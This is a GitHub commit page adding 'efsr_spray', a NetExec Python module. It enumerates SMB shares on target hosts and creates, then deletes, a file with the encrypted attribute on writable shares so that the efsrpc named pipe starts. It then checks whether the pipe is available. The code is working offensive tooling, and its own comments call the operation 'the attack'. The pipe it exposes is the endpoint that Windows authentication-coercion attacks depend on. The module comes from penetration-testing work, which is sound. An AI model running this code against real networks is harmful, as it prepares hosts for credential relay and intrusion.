Skip to content

Commit f2b180e

Browse files
Add efsr_spray module
1 parent fbc787c commit f2b180e

1 file changed

Lines changed: 131 additions & 0 deletions

File tree

nxc/modules/efsr_spray.py

Lines changed: 131 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,131 @@
1+
import ntpath
2+
from nxc.helpers.misc import gen_random_string
3+
from nxc.context import Context
4+
from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE, FILE_ATTRIBUTE_ENCRYPTED
5+
from impacket.smbconnection import SessionError, SMBConnection
6+
7+
# Copy-pasta from protocols/smb.py
8+
smb_error_status = [
9+
"STATUS_ACCOUNT_DISABLED",
10+
"STATUS_ACCOUNT_EXPIRED",
11+
"STATUS_ACCOUNT_RESTRICTION",
12+
"STATUS_INVALID_LOGON_HOURS",
13+
"STATUS_INVALID_WORKSTATION",
14+
"STATUS_LOGON_TYPE_NOT_GRANTED",
15+
"STATUS_PASSWORD_EXPIRED",
16+
"STATUS_PASSWORD_MUST_CHANGE",
17+
"STATUS_ACCESS_DENIED",
18+
"STATUS_NO_SUCH_FILE",
19+
"KDC_ERR_CLIENT_REVOKED",
20+
"KDC_ERR_PREAUTH_FAILED",
21+
]
22+
23+
24+
def get_error_string(exception):
25+
if hasattr(exception, "getErrorString"):
26+
try:
27+
es = exception.getErrorString()
28+
except KeyError:
29+
return f"Could not get nt error code {exception.getErrorCode()} from impacket: {exception}"
30+
if type(es) is tuple:
31+
return es[0]
32+
else:
33+
return es
34+
else:
35+
return str(exception)
36+
37+
38+
class NXCModule:
39+
"""EFSR Spray Module
40+
Module by @rtpt-romankarwacik
41+
"""
42+
43+
name = "efsr_spray"
44+
description = "Tries to activate the EFSR service by creating a file with the encryption attribute on some available share."
45+
supported_protocols = ["smb"]
46+
opsec_safe = True # Does the module touch disk?
47+
multiple_hosts = True # Does the module support multiple hosts?
48+
49+
def options(self, context: Context, module_options: dict[str, str]):
50+
"""
51+
FILE_NAME Name of the file which will be tried to create and afterwards delete
52+
SHARE_NAME If set, ONLY this share will be used
53+
"""
54+
self.file_name = module_options.get("FILE_NAME", ntpath.normpath("\\" + gen_random_string() + ".txt"))
55+
self.share_name = module_options.get("SHARE_NAME")
56+
57+
def on_login(self, context: Context, connection):
58+
conn: SMBConnection = connection.conn # Because typing is broken due to smb being a folder and a file >:(
59+
60+
try:
61+
shares = conn.listShares()
62+
except SessionError as e:
63+
error = get_error_string(e)
64+
context.log.fail(
65+
f"Error enumerating shares: {error}",
66+
color="magenta" if error in smb_error_status else "red",
67+
)
68+
return
69+
70+
# Check if named pipe is already available
71+
try:
72+
named_pipe_names = [f.get_shortname() for f in conn.listPath("IPC$", "*")]
73+
if "efsrpc" in named_pipe_names:
74+
context.log.highlight("efsrpc named pipe is already available!")
75+
# if it is already activated we just skip this computer
76+
return
77+
except SessionError as e:
78+
error = get_error_string(e)
79+
context.log.fail(
80+
f"Error enumerating named pipes: {error}",
81+
color="magenta" if error in smb_error_status else "red",
82+
)
83+
return
84+
85+
# Write an encrypted file on the share root.
86+
# This will likely fail with STATUS_ACCESS_DENIED if we do not have the permission to create encrypted files,
87+
# but this does not matter as the service will be activated nevertheless if we have WRITE or MODIFY access
88+
for share in shares:
89+
share_name = share["shi1_netname"][:-1]
90+
if self.share_name is not None and self.share_name != share_name:
91+
continue
92+
93+
try:
94+
context.log.debug(f"Connecting to share {share_name}...")
95+
tid = conn.connectTree(share_name)
96+
except SessionError as e:
97+
context.log.debug(f"Could not connect to share {share_name}: {e}")
98+
continue
99+
try:
100+
context.log.debug(f"Creating file in {share_name}...")
101+
fid = conn.createFile(tid, self.file_name,
102+
desiredAccess=FILE_SHARE_WRITE,
103+
shareMode=FILE_SHARE_DELETE,
104+
fileAttributes=FILE_ATTRIBUTE_ENCRYPTED)
105+
conn.closeFile(tid, fid)
106+
try:
107+
# this can happen when we have special permissions to create encrypted files
108+
conn.deleteFile(share_name, self.file_name)
109+
except SessionError as e:
110+
error = get_error_string(e)
111+
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
112+
pass
113+
context.log.fail(f"Error DELETING created temp file {self.file_name} on share {share_name}: {error}")
114+
return
115+
except SessionError as e:
116+
context.log.debug(f"Error writing encrypted file on share {share_name}: {get_error_string(e)} (This does not necessarily mean that the attack failed!)")
117+
118+
try:
119+
tid = conn.connectTree("IPC$")
120+
conn.waitNamedPipe(tid, "efsrpc", 10)
121+
context.log.highlight("Successfully activated efsrpc named pipe!")
122+
except SessionError as e:
123+
error = get_error_string(e)
124+
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
125+
context.log.debug("efsrpc pipe was not activated.")
126+
else:
127+
context.log.fail(
128+
f"Error waiting for named pipe: {error}",
129+
color="magenta" if error in smb_error_status else "red",
130+
)
131+
return

0 commit comments

Comments
 (0)